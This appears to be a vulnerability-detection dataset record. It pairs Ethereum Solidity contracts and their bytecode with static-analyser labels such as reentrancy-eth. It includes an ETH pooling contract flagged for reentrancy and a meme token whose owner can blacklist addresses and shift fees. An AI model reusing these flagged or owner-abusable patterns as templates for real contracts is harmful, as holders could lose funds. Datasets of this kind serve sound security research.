remaining = maxContractBalance.sub(this.balance); } else { remaining = 0; } return (maxContractBalance,this.balance,remaining); } // This callable function returns the balance, contribution cap, and remaining available balance of any contributor. function checkContributorBalance (address addr) view public returns (uint balance, uint cap, uint remaining) { var c = whitelist[addr]; if (contractStage == 2) return (c.balance,0,0); if (whitelistIsActive && whitelistContract.isPaidUntil(addr) < now) return (c.balance,0,0); if (c.cap > 0) cap = c.cap; else cap = contributionCap; if (cap.sub(c.balance) > maxContractBalance.sub(this.balance)) return (c.balance, cap, maxContractBalance.sub(this.balance)); return (c.balance, cap, cap.sub(c.balance)); } // This callable function returns the token balance that a contributor can currently claim. function checkAvailableTokens (address addr, address tokenAddr) view public returns (uint tokenAmount) { var c = whitelist[addr]; var d = distributionMap[tokenAddr]; for (uint i = c.tokensClaimed[tokenAddr]; i < d.pct.length; i++) { tokenAmount = tokenAmount.add(_applyPct(c.balance, d.pct[i])); } return tokenAmount; } // This function sets the receiving address that the contract will send the pooled eth to. // It can only be called by the contract owner if the receiver address has not already been set. // After making this call, the contract will be unable to send the pooled eth for 6000 blocks. // This limitation is so that if the owner acts maliciously in making the change, all whitelisted // addresses have ~24 hours to withdraw their eth from the contract. function setReceiverAddress (address addr) public onlyOwner { require (contractStage == 1); receiverAddress = addr; addressChangeBlock = block.number; ReceiverAddressSet(addr); } // This function sends the pooled eth to the receiving address, calculates the % of unused eth to be returned, // and advances the contract to stage two. It can only be called by the contract owner during stages one or two. // The amount to send (given in wei) must be specified during the call. As this function can only be executed once, // it is VERY IMPORTANT not to get the amount wrong. function submitPool (uint amountInWei) public onlyOwner noReentrancy { require (contractStage == 1); require (receiverAddress != 0x00); require (block.number >= addressChangeBlock.add(6000)); if (amountInWei == 0) amountInWei = this.balance; require (contributionMin <= amountInWei && amountInWei <= this.balance); finalBalance = this.balance; require (receiverAddress.call.value(amountInWei).gas(msg.gas.sub(5000))()); if (this.balance > 0) ethRefundAmount.push(this.balance); contractStage = 2; PoolSubmitted(receiverAddress, amountInWei); } // This function opens the contract up for token withdrawals. // It can only be called by the owner during stage two. The owner specifies the address of an ERC20 token // contract that this contract has a balance in, and optionally a bool to prevent this token from being // the default withdrawal (in the event of an airdrop, for example). function enableTokenWithdrawals (address tokenAddr, bool notDefault) public onlyOwner noReentrancy { require (contractStage == 2); if (notDefault) { require (activeToken != 0x00); } else { activeToken = tokenAddr; } var d = distributionMap[tokenAddr]; if (d.pct.length==0) d.token = ERC20(tokenAddr); uint amount = d.token.balanceOf(this).sub(d.balanceRemaining); require (amount > 0); if (feePct > 0) { require (d.token.transfer(owner,_applyPct(amount,feePct))); } amount = d.token.balanceOf(this).sub(d.balanceRemaining); d.balanceRemaining = d.token.balanceOf(this); d.pct.push(_toPct(amount,finalBalance)); } // This is a standard function required for ERC223 compatibility. function tokenFallback (address from, uint value, bytes data) public { ERC223Received (from, value); } }
0x6060604052600436106101455763ffffffff60e060020a600035041663021bc974811461016a5780630370ca41146101a157806316fed3e2146101ca5780632129e25a146101f95780632aabb48e1461021e57806332cc6a9f1461023157806333e7ed611461024a5780633de39c11146102605780634fbc7e111461027357806351cff8d91461029757806352f1e07b146102b6578063737c2d8c146102cc5780637c02e1ea146102f15780637e4930ae1461030457806380e3f1ad1461031a5780638279c7db1461033257806384900b04146103515780638796d43d146103645780638da5cb5b14610377578063a02cf9371461038a578063abccb0431461039d578063adb5735c146103b3578063b9c009f0146103d8578063bcc13d1d146103f7578063be1890351461040a578063c0ee0b8a1461042c578063ece2ea4014610491575b60005460ff16600114156101605761015b6104a4565b610168565b61016861067d565b005b341561017557600080fd5b61017d610746565b60405180848152602001838152602001828152602001935050505060405180910390f35b34156101ac57600080fd5b6101b4610797565b60405160ff909116815260200160405180910390f35b34156101d557600080fd5b6101dd6107a0565b604051600160a060020a03909116815260200160405180910390f35b341561020457600080fd5b61020c6107af565b60405190815260200160405180910390f35b341561022957600080fd5b61020c6107b5565b341561023c57600080fd5b6101686004356024356107bb565b341561025557600080fd5b610168600435610823565b341561026b57600080fd5b61020c6109dd565b341561027e57600080fd5b610168600160a060020a036004351660243515156109e6565b34156102a257600080fd5b610168600160a060020a0360043516610d32565b34156102c157600080fd5b61020c600435610e02565b34156102d757600080fd5b61020c600160a060020a0360043581169060243516610e21565b34156102fc57600080fd5b61020c610eb0565b341561030f57600080fd5b610168600435610eb6565b341561032557600080fd5b6101686004351515610f11565b341561033d57600080fd5b610168600160a060020a0360043516610f71565b341561035c57600080fd5b6101dd61100f565b341561036f57600080fd5b6101dd611027565b341561038257600080fd5b6101dd611036565b341561039557600080fd5b61020c61104a565b34156103a857600080fd5b610168600435611050565b34156103be57600080fd5b610168600160a060020a03600435811690602435166110c6565b34156103e357600080fd5b61017d600160a060020a036004351661112c565b341561040257600080fd5b61020c6112d2565b341561041557600080fd5b610168600160a060020a03600435166024356112de565b341561043757600080fd5b61016860048035600160a060020a03169060248035919060649060443590810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284375094965061135195505050505050565b341561049c57600080fd5b61020c61139a565b60008054819060ff166001146104b657fe5b60045474010000000000000000000000000000000000000000900460ff16158061055b57504273f6e386fa4794b58350e7b4cb32b6f86fb0f357d46315c7ff343360006040516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b151561053e57600080fd5b6102c65a03f1151561054f57600080fd5b50505060405180519050115b151561056657600080fd5b640ba43b74003a111561057857600080fd5b600154600160a060020a03301631111561059157600080fd5b600160a060020a0333166000908152600b6020526040902060018101549092506105c1903463ffffffff6113a016565b905067016345785d8a00008110156105d857600080fd5b60006005541180156105eb575042600554105b156105fc5760065460025560006005555b60008260020154111561061f57600282015481111561061a57600080fd5b61062e565b60025481111561062e57600080fd5b600182018190557fbd5304e38e372b10ebf161f6b67eeaf9f4e25653126622b0e2497484850d10f43382604051600160a060020a03909216825260208201526040908101905180910390a15050565b60005460ff1660021461068c57fe5b60005433600160a060020a039081166101009092041614806106bc575060045433600160a060020a039081169116145b15156106c757600080fd5b67016345785d8a00003410156106dc57600080fd5b60098054600181016106ee8382611781565b50600091825260209091203491018190557fa6b266978e1d6bcae9b5baa4078b3b92fc622b302cca549cf2ebf2e4723aca3c903390604051600160a060020a03909216825260208201526040908101905180910390a1565b600080548190819060ff166001141561077d5760015461077690600160a060020a0330163163ffffffff6113ba16565b9050610781565b5060005b6001549330600160a060020a0316319350909150565b60005460ff1681565b600454600160a060020a031681565b60085481565b60065481565b60005433600160a060020a0390811661010090920416146107db57600080fd5b60005460ff166001146107ed57600080fd5b806002541115801561080157508060015410155b151561080c57600080fd5b42821161081857600080fd5b600591909155600655565b60005433600160a060020a03908116610100909204161461084357600080fd5b600d5460ff161561085357600080fd5b600d805460ff1916600190811790915560005460ff161461087357600080fd5b600454600160a060020a0316151561088a57600080fd5b60075461089f9061177063ffffffff6113a016565b4310156108ab57600080fd5b8015156108bf5750600160a060020a033016315b8067016345785d8a0000111580156108e1575030600160a060020a0316318111155b15156108ec57600080fd5b600160a060020a033081163160085560045416816109136113885a9063ffffffff6113ba16565b90604051600060405180830381858888f19350505050151561093457600080fd5b600030600160a060020a03163111156109735760098054600181016109598382611781565b5060009182526020909120600160a060020a033016319101555b6000805460ff191660021790556004547f166428c0f697cf2ebca7e4045ddec0f48bb4914f5ffac8765da1551e2881a51990600160a060020a031682604051600160a060020a03909216825260208201526040908101905180910390a150600d805460ff19169055565b640ba43b740081565b60008054819033600160a060020a039081166101009092041614610a0957600080fd5b600d5460ff1615610a1957600080fd5b600d8054600160ff1990911617905560005460ff16600214610a3a57600080fd5b8215610a5c57600a54600160a060020a03161515610a5757600080fd5b610a85565b600a805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0386161790555b600160a060020a0384166000908152600c6020526040902060018101549092501515610ad257815473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0385161782555b60028201548254610b5b9190600160a060020a03166370a082313060006040516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b1515610b3457600080fd5b6102c65a03f11515610b4557600080fd5b505050604051805191905063ffffffff6113ba16565b905060008111610b6a57600080fd5b60006003541115610c13578154600054600354600160a060020a039283169263a9059cbb9261010090041690610ba19085906113cc565b60006040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b1515610bed57600080fd5b6102c65a03f11515610bfe57600080fd5b505050604051805190501515610c1357600080fd5b60028201548254610c759190600160a060020a03166370a082313060006040516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b1515610b3457600080fd5b8254909150600160a060020a03166370a082313060006040516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b1515610cd057600080fd5b6102c65a03f11515610ce157600080fd5b50505060405180516002840155506001808301805490918101610d048382611781565b91600052602060002090016000610d1d846008546113f9565b9091555050600d805460ff1916905550505050565b600160a060020a0333166000908152600b602052604081206001810154909190819011610d5e57600080fd5b60005460ff1660011415610df357506001810180546000909155600160a060020a03331681156108fc0282604051600060405180830381858888f193505050501515610da957600080fd5b7fbd5304e38e372b10ebf161f6b67eeaf9f4e25653126622b0e2497484850d10f4336000604051600160a060020a03909216825260208201526040908101905180910390a1610dfd565b610dfd3384611415565b505050565b6009805482908110610e1057fe5b600091825260209091200154905081565b600160a060020a038083166000908152600b602090815260408083209385168352600c8252808320600385019092528220549192915b6001820154811015610ea757610e9d610e9084600101548460010184815481101515610e7f57fe5b9060005260206000209001546113cc565b859063ffffffff6113a016565b9350600101610e57565b50505092915050565b60075481565b60005433600160a060020a039081166101009092041614610ed657600080fd5b60005460ff16600114610ee857600080fd5b8060025411158015610efc57508060015410155b1515610f0757600080fd5b6002556000600555565b60005433600160a060020a039081166101009092041614610f3157600080fd5b60048054911515740100000000000000000000000000000000000000000274ff000000000000000000000000000000000000000019909216919091179055565b60005433600160a060020a039081166101009092041614610f9157600080fd5b60005460ff16600114610fa357600080fd5b6004805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a038316179055436007557f17528c7f18bea16a4db7e968a53fe806a68a29800c78185e7d52d343dd8004ba81604051600160a060020a03909116815260200160405180910390a150565b73f6e386fa4794b58350e7b4cb32b6f86fb0f357d481565b600a54600160a060020a031681565b6000546101009004600160a060020a031681565b60035481565b60005433600160a060020a03908116610100909204161461107057600080fd5b60005460ff1660011461108257600080fd5b67016345785d8a000081101561109757600080fd5b600160a060020a033016318110156110ae57600080fd5b60018190556002548110156110c35760028190555b50565b60005433600160a060020a0390811661010090920416146110e657600080fd5b60005460ff166002146110f857600080fd5b600160a060020a0382166000908152600b60205260408120600101541161111e57600080fd5b6111288282611415565b5050565b600160a060020a0381166000908152600b6020526040812081548291829160ff16600214156111685760018101549350600092508291506112ca565b60045474010000000000000000000000000000000000000000900460ff16801561120d57504273f6e386fa4794b58350e7b4cb32b6f86fb0f357d46315c7ff348760006040516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b15156111f057600080fd5b6102c65a03f1151561120157600080fd5b50505060405180519050105b156112255760018101549350600092508291506112ca565b60008160020154111561123e5780600201549250611244565b60025492505b60015461126190600160a060020a0330163163ffffffff6113ba16565b600182015461127790859063ffffffff6113ba16565b11156112ad578060010154836112a230600160a060020a0316316001546113ba90919063ffffffff16565b9350935093506112ca565b6001810154836112c3818363ffffffff6113ba16565b9350935093505b509193909250565b67016345785d8a000081565b6000805433600160a060020a0390811661010090920416146112ff57600080fd5b60005460ff1660011461131157600080fd5b60015482111561132057600080fd5b50600160a060020a0382166000908152600b60205260409020600181015482101561134a57600080fd5b6002015550565b7f121b68c1c3978d37f853f81c5ba5a0d2d36bb308e0765a3d6eb906c01ebdfe888383604051600160a060020a03909216825260208201526040908101905180910390a1505050565b60055481565b6000828201838110156113af57fe5b8091505b5092915050565b6000828211156113c657fe5b50900390565b600068056bc75e2d631000006113e8848463ffffffff61175616565b8115156113f157fe5b049392505050565b6000816113e88468056bc75e2d6310000063ffffffff61175616565b600080548190819081908190819060ff1660021461142f57fe5b600160a060020a038089166000908152600b6020526040902096508716151561146157600a54600160a060020a031696505b600160a060020a0387166000908152600c6020526040902086546009549196509011806114ab5750600160a060020a03871660009081526003870160205260409020546001860154115b15156114b657600080fd5b855460095411156115ac576114d186600101546008546113f9565b86549094506000935091505b6009548210156115285761151b61150e6009848154811015156114fc57fe5b906000526020600020900154866113cc565b849063ffffffff6113a016565b92506001909101906114dd565b600954865560008311156115ac57600160a060020a03881683156108fc0284604051600060405180830381858888f19350505050151561156757600080fd5b7fffab3269bdaceca4d1bbc53e74b982ac2b306687e17e21f1e499e7fdf6751ac88884604051600160a060020a03909216825260208201526040908101905180910390a15b600160a060020a03871660009081526003870160205260409020546001860154111561174c575050600160a060020a0385166000908152600385016020526040812054905b60018501548210156116335761162661161987600101548760010185815481101515610e7f57fe5b829063ffffffff6113a016565b60019092019190506115f1565b6001850154600160a060020a038816600090815260038801602052604081209190915581111561174c578454600160a060020a031663a9059cbb898360006040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b15156116bb57600080fd5b6102c65a03f115156116cc57600080fd5b5050506040518051905015156116e157600080fd5b60028501546116f6908263ffffffff6113ba16565b60028601557f6337ed398c0e8467698c581374fdce4db14922df487b5a39483079f5f59b60a4888883604051600160a060020a039384168152919092166020820152604080820192909252606001905180910390a15b5050505050505050565b60008083151561176957600091506113b3565b5082820282848281151561177957fe5b04146113af57fe5b815481835581811511610dfd57600083815260209020610dfd9181019083016117be91905b808211156117ba57600081556001016117a6565b5090565b905600a165627a7a72305820b8a6e543a2ebccd41c9e4e8213f187b24c1f93e1008cd3dc8bf7beaa520f678e0029
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
2,574
0x4823889a995a575a47c1071769d98486f8ad4b21
/** *Submitted for verification at Etherscan.io on 2021-12-07 */ /* Welcome to Gangsta Ape INU We comin' for the metaverse https://t.me/GangstaApeInu */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract GangstaApeInu is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Gangsta Ape Inu | t.me/GangstaApeInu"; string private constant _symbol = "GAI"; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 1; uint256 private _teamFee = 11; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 0; _teamFee = 15; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.div(2)); _marketingFunds.transfer(amount.div(2)); } function startTrading() external onlyOwner() { require(!tradingOpen, "trading is already started"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = false; _maxTxAmount = 50000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010c5760003560e01c80636fc3eaec1161009557806395d89b411161006457806395d89b411461033b578063a9059cbb14610366578063c3c8cd80146103a3578063d543dbeb146103ba578063dd62ed3e146103e357610113565b80636fc3eaec146102a557806370a08231146102bc578063715018a6146102f95780638da5cb5b1461031057610113565b806323b872dd116100dc57806323b872dd146101d4578063293230b814610211578063313ce567146102285780635932ead1146102535780636b9990531461027c57610113565b8062b8cf2a1461011857806306fdde0314610141578063095ea7b31461016c57806318160ddd146101a957610113565b3661011357005b600080fd5b34801561012457600080fd5b5061013f600480360381019061013a91906129a4565b610420565b005b34801561014d57600080fd5b5061015661054a565b6040516101639190612e5d565b60405180910390f35b34801561017857600080fd5b50610193600480360381019061018e9190612964565b61056a565b6040516101a09190612e42565b60405180910390f35b3480156101b557600080fd5b506101be610588565b6040516101cb9190612fff565b60405180910390f35b3480156101e057600080fd5b506101fb60048036038101906101f69190612911565b610599565b6040516102089190612e42565b60405180910390f35b34801561021d57600080fd5b50610226610672565b005b34801561023457600080fd5b5061023d610bcf565b60405161024a9190613074565b60405180910390f35b34801561025f57600080fd5b5061027a600480360381019061027591906129ed565b610bd8565b005b34801561028857600080fd5b506102a3600480360381019061029e9190612877565b610c8a565b005b3480156102b157600080fd5b506102ba610d7a565b005b3480156102c857600080fd5b506102e360048036038101906102de9190612877565b610dec565b6040516102f09190612fff565b60405180910390f35b34801561030557600080fd5b5061030e610e3d565b005b34801561031c57600080fd5b50610325610f90565b6040516103329190612d74565b60405180910390f35b34801561034757600080fd5b50610350610fb9565b60405161035d9190612e5d565b60405180910390f35b34801561037257600080fd5b5061038d60048036038101906103889190612964565b610ff6565b60405161039a9190612e42565b60405180910390f35b3480156103af57600080fd5b506103b8611014565b005b3480156103c657600080fd5b506103e160048036038101906103dc9190612a47565b61108e565b005b3480156103ef57600080fd5b5061040a600480360381019061040591906128d1565b6111d7565b6040516104179190612fff565b60405180910390f35b61042861125e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104ac90612f5f565b60405180910390fd5b60005b8151811015610546576001600a60008484815181106104da576104d96133bc565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061053e90613315565b9150506104b8565b5050565b60606040518060600160405280602481526020016137a360249139905090565b600061057e61057761125e565b8484611266565b6001905092915050565b6000683635c9adc5dea00000905090565b60006105a6848484611431565b610667846105b261125e565b6106628560405180606001604052806028815260200161377b60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061061861125e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bf09092919063ffffffff16565b611266565b600190509392505050565b61067a61125e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610707576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106fe90612f5f565b60405180910390fd5b600f60149054906101000a900460ff1615610757576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161074e90612e9f565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506107e730600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea00000611266565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561082d57600080fd5b505afa158015610841573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061086591906128a4565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156108c757600080fd5b505afa1580156108db573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108ff91906128a4565b6040518363ffffffff1660e01b815260040161091c929190612d8f565b602060405180830381600087803b15801561093657600080fd5b505af115801561094a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061096e91906128a4565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306109f730610dec565b600080610a02610f90565b426040518863ffffffff1660e01b8152600401610a2496959493929190612de1565b6060604051808303818588803b158015610a3d57600080fd5b505af1158015610a51573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a769190612a74565b5050506001600f60166101000a81548160ff0219169083151502179055506000600f60176101000a81548160ff0219169083151502179055506802b5e3af16b18800006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610b79929190612db8565b602060405180830381600087803b158015610b9357600080fd5b505af1158015610ba7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bcb9190612a1a565b50